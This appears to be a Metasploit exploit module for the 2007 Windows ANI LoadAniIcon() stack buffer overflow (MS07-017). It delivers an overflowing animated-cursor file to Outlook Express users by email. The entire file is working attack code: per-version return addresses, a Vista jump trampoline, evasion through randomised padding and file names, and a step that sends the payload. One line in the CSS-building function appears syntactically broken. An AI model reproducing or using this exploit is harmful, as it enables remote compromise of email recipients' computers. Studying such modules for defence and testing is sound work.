require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',
'Description'=> %q{
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered
through Outlook Express by using the CURSOR style sheet
directive to load a malicious .ANI file.
This vulnerability was discovered by Alexander Sotirov of Determina
and was rediscovered, in the wild, by McAfee.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'hdm',
'skape',
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
['MSB', 'MS07-017'],
['CVE', '2007-0038'],
['CVE', '2007-1765'],
['OSVDB', '33629'],
['BID', '23194'],
['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space' => 1024 + (rand(1000)),
'MinNops' => 32,
'Compat'=>
{
'ConnectionType' => '-bind -find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],
[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],
[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],
[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],
[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],
[ 'Windows Vista user32.dll 6.0.6000.16386',
{
'Ret' => 0x700b,
'Len' => 2,
'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw }
}
],
[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],
[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],
[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],
[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],
[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]
],
'DisclosureDate' => 'Mar 28 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def exploit
exts = ['bmp', 'wav', 'png', 'zip', 'tar']
gext =exts[rand(exts.length)]
name = rand_text_alpha(rand(10)+1) + ".#{gext}"
anis = {}
html =
"<html><head><title>" +
rand_text_alphanumeric(rand(128)+4) +
"</title>" +
"</head><body>" + rand_text_alphanumeric(rand(128)+1)
mytargs = (target.name =~ /Automatic/) ? targets : [target]
if target.name =~ /Automatic/
targets.each_index { |i|
next if not targets[i].ret
acid = generate_cid
html << generate_div("cid:#{acid}")
return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)
anis[acid] = generate_ani(p, targets[i])
}
else
acid = generate_cid
html << generate_div("cid:#{acid}")
return if ((p = regenerate_payload(nil, nil, target)) == nil)
anis[acid] = generate_ani(p, target)
end
html << "</body></html>"
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline")
anis.each_pair do |cid,ani|
part = msg.add_part_attachment(ani, cid + "." + gext)
part.header.set("Content-ID", "<"+cid+">")
end
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
def generate_cid
rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)
end
def generate_div(url)
"<div style='" +
generate_css_padding() +
Rex::Text.to_rand_case("cursor") +
generate_css_padding() +
":" +
generate_css_padding() +
Rex::Text.to_rand_case("url(") +
generate_css_padding() +
"\"
generate_css_padding() +
");" +
generate_css_padding() +
"'>" +
generate_padding() +
"</div>"
end
def generate_ani(payload, target)
anih_a = [
36,
rand(128)+16,
rand(1024)+1,
0,
0,
0, 0, 0,
1
].pack('V9')
anih_b = nil
if (target.name =~ /Vista/)
anih_b = rand_text(84)
anih_b[68, 12] = [0].pack("V") * 3
else
anih_b = rand_text(80)
anih_b[64, 12] = [0].pack("V") * 3
end
anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]
riff = "ACON"
if target.name =~ /Vista/
trampoline_doffset = riff.length + 8
riff << generate_trampoline_riff_chunk
end
0.upto(rand(128)+16) do |i|
riff << generate_riff_chunk()
end
riff << "anih" + [anih_a.length].pack('V') + anih_a
0.upto(rand(128)+16) do |i|
riff << generate_riff_chunk()
end
riff << "anih" + [anih_b.length].pack('V') + anih_b
if target.name =~ /Vista/
plen= (riff.length & 0xffff0000) | 0x0eeb
plen += 0x10000 if (plen - 8) < riff.length
riff << generate_riff_chunk((plen - 8) - riff.length)
riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
end
ret = "RIFF" + [riff.length].pack('V') + riff
ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)
ret << payload.encoded
ret
end
def generate_trampoline_riff_chunk
tag = Rex::Text.to_rand_case(rand_text_alpha(4))
dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
tag + [dat.length].pack('V') + dat
end
def generate_riff_chunk(len = (rand(256)+1) * 2)
tag = Rex::Text.to_rand_case(rand_text_alpha(4))
dat = rand_text(len)
tag + [dat.length].pack('V') + dat
end
def generate_css_padding
buf =
generate_whitespace() +
"/*" +
generate_whitespace() +
generate_padding() +
generate_whitespace() +
"*/" +
generate_whitespace()
end
def generate_whitespace
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
def generate_padding
rand_text_alphanumeric(rand(128)+4)
end
end